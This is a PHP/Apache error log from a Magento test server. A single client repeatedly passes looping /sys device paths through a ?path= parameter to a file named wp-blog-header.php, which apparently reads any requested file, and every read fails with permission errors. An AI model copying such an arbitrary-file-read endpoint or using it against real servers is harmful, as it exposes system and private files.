[Thu Mar 26 11:59:27.497806 2026] [php:warn] [pid 3107086] [client 74.7.241.26:47348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:da
[Thu Mar 26 11:59:31.103928 2026] [php:warn] [pid 3107086] [client 74.7.241.26:47348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:ba
[Thu Mar 26 11:59:32.197827 2026] [php:warn] [pid 3107086] [client 74.7.241.26:47348] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:59:34.491300 2026] [php:warn] [pid 3106405] [client 74.7.241.26:53590] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:ba
[Thu Mar 26 11:59:36.658492 2026] [php:warn] [pid 3106405] [client 74.7.241.26:53590] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ac
[Thu Mar 26 11:59:41.913922 2026] [php:warn] [pid 3106405] [client 74.7.241.26:53590] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/drivers/ac
[Thu Mar 26 11:59:46.837416 2026] [php:warn] [pid 3106405] [client 74.7.241.26:53590] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ba
[Thu Mar 26 11:59:48.282537 2026] [php:warn] [pid 3106405] [client 74.7.241.26:53590] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:ba
[Thu Mar 26 11:59:50.900528 2026] [php:warn] [pid 3106405] [client 74.7.241.26:53590] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:fa
[Thu Mar 26 11:59:57.463820 2026] [php:warn] [pid 3106405] [client 74.7.241.26:53590] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:de
[Thu Mar 26 11:59:58.081818 2026] [php:warn] [pid 3106405] [client 74.7.241.26:53590] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:fe
[Thu Mar 26 12:00:00.227961 2026] [php:warn] [pid 3106405] [client 74.7.241.26:53590] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec
[Thu Mar 26 12:00:01.251759 2026] [php:warn] [pid 3106405] [client 74.7.241.26:53590] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 12:00:10.283879 2026] [php:warn] [pid 3106405] [client 74.7.241.26:53590] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/drivers/ac
[Thu Mar 26 12:00:12.760779 2026] [php:warn] [pid 3106405] [client 74.7.241.26:53590] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ae
[Thu Mar 26 12:00:18.777531 2026] [php:warn] [pid 3106405] [client 74.7.241.26:53590] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:fa
[Thu Mar 26 12:00:21.525656 2026] [php:warn] [pid 3106405] [client 74.7.241.26:53590] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:cc
[Thu Mar 26 12:00:22.522637 2026] [php:warn] [pid 3106405] [client 74.7.241.26:53590] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/drivers/ac
[Thu Mar 26 12:00:24.112666 2026] [php:warn] [pid 3106405] [client 74.7.241.26:53590] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:ee
[Thu Mar 26 12:00:24.637903 2026] [php:warn] [pid 3106405] [client 74.7.241.26:53590] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:fa
[Thu Mar 26 12:00:25.183554 2026] [php:warn] [pid 3106405] [client 74.7.241.26:53590] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 12:00:26.687463 2026] [php:warn] [pid 3106405] [client 74.7.241.26:53590] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:de
[Thu Mar 26 12:00:37.332605 2026] [php:warn] [pid 3106405] [client 74.7.241.26:53590] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/drivers/ac
[Thu Mar 26 12:00:39.960060 2026] [php:warn] [pid 3106405] [client 74.7.241.26:53590] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:ca
[Thu Mar 26 12:00:40.464436 2026] [php:warn] [pid 3106405] [client 74.7.241.26:53590] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/drivers/ac
[Thu Mar 26 12:00:42.214840 2026] [php:warn] [pid 3106380] [client 74.7.241.26:54000] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:fc
[Thu Mar 26 12:00:43.305559 2026] [php:warn] [pid 3106380] [client 74.7.241.26:54000] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 12:00:45.470251 2026] [php:warn] [pid 3106380] [client 74.7.241.26:54000] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:ee
[Thu Mar 26 12:00:47.088841 2026] [php:warn] [pid 3106380] [client 74.7.241.26:54000] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 12:00:47.635426 2026] [php:warn] [pid 3106380] [client 74.7.241.26:54000] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 12:00:53.434790 2026] [php:warn] [pid 3106380] [client 74.7.241.26:54000] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/drivers/ec
[Thu Mar 26 12:00:57.620234 2026] [php:warn] [pid 3106380] [client 74.7.241.26:54000] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 12:00:59.322721 2026] [php:warn] [pid 3106380] [client 74.7.241.26:54000] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 12:01:06.752389 2026] [php:warn] [pid 3106380] [client 74.7.241.26:54000] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 12:01:10.504434 2026] [php:warn] [pid 3106380] [client 74.7.241.26:54000] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 12:01:12.516370 2026] [php:warn] [pid 3106380] [client 74.7.241.26:54000] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:ca
[Thu Mar 26 12:01:14.641949 2026] [php:warn] [pid 3106380] [client 74.7.241.26:54000] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:fc
[Thu Mar 26 12:01:15.095964 2026] [php:warn] [pid 3106380] [client 74.7.241.26:54000] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/drivers/ec
[Thu Mar 26 12:01:16.754659 2026] [php:warn] [pid 3106380] [client 74.7.241.26:54000] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:ba
[Thu Mar 26 12:01:22.593507 2026] [php:warn] [pid 3106380] [client 74.7.241.26:54000] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:ac
[Thu Mar 26 12:01:25.258635 2026] [php:warn] [pid 3106380] [client 74.7.241.26:54000] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 12:01:28.980483 2026] [php:warn] [pid 3106380] [client 74.7.241.26:54000] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:ea
[Thu Mar 26 12:01:31.681079 2026] [php:warn] [pid 3106380] [client 74.7.241.26:54000] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:bc
[Thu Mar 26 12:01:33.206493 2026] [php:warn] [pid 3106380] [client 74.7.241.26:54000] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/drivers/ec
